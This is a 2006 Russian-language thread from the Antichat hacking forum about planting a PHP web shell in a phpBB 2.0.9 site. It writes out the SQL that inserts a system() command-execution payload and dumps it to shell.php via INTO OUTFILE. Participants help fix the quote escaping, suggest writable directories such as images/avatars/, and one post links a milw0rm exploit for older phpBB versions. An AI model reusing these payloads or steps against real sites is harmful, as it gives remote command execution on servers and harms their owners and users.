Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   Заливка шелла в phpBB 2.0.9 через SQL (https://forum.antichat.xyz/showthread.php?t=20168)

bandera 05.06.2006 13:29

Заливка шелла в phpBB 2.0.9 через SQL
 
Почему вылетает такая ошибка при востонавлениие БД. Что можно сделать.

Error importing backup file DEBUG MODE SQL Error : 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'cmd']); ?>', '10')' at line 1 INSERT INTO phpbb_categories (cat_id, cat_title, cat_order) VALUES('1', '', '10') Line : 980 File : /home/xxxxx/public_html/forum/admin/admin_db_utilities.php

Rebz 05.06.2006 13:34

'cmd']); ?> - это что такое?)) шелл напоминает наполовину)

смотри таблицу phpbb_categories. Смотри значения таблицы..скорее всего в ней дело. точно не знаю.

bandera 05.06.2006 13:49

Цитата:

Сообщение от Rebz
'cmd']); ?> - это что такое?)) шелл напоминает наполовину)

Да не это ошибка так вылетает:
Писал всё правильно.

INSERT INTO phpbb_categories (cat_id, cat_title, cat_order) VALUES('1', '<? system(GET['cmd']); ?>', '10');

Потом:
SELECT cat_title INTO OUTFILE '/home/xxxx/public_html/forum/cache/shell.php' FROM phpbb_categories where cat_id=1;

Не пойму чо за хрень такая...

Цитата:

смотри таблицу phpbb_categories. Смотри значения таблицы..скорее всего в ней дело. точно не знаю.
Нет таблица стандартная.

GreenBear 05.06.2006 13:54

Цитата:

INSERT INTO phpbb_categories (cat_id, cat_title, cat_order) VALUES('1', '<? system(GET['cmd']); ?>', '10');
Говорят если ковычки заслешировать - поможет.
Цитата:

<? system(GET[\'cmd\']); ?>

GreenBear 05.06.2006 14:06

Ну дальше то что? Заслешировать то все равно надо.
Запрос к мускулу идет не правильный, хоть отедльный запрос, хоть востановление из бэкапа.

bandera 05.06.2006 14:10

Green_Bear сэнкс помогло=)

Теперь другая проблема - какая папка ещё может быть доступна для записи? А то Access denied =)

GreenBear 05.06.2006 14:20

images/avatars/

bandera 05.06.2006 14:33

Цитата:

Сообщение от Green_Bear
images/avatars/

не некатит (странно чо за хрень) ещё может что нибудь быть?

bandera 05.06.2006 14:36

Вопрос вот по этому сплойту для пхпбб <2.0.10:
http://milw0rm.com/id.php?id=647
его исправлять надо или что, а то у меня лампочка на модеме не моргнула даже, а он пишет cant connect.

SK | Heaton 06.06.2006 14:43

images/avatars/ это папка доступна для записи просто это папка стоит на фильтрации зависимо от типа файлов и размера.


Время: 21:05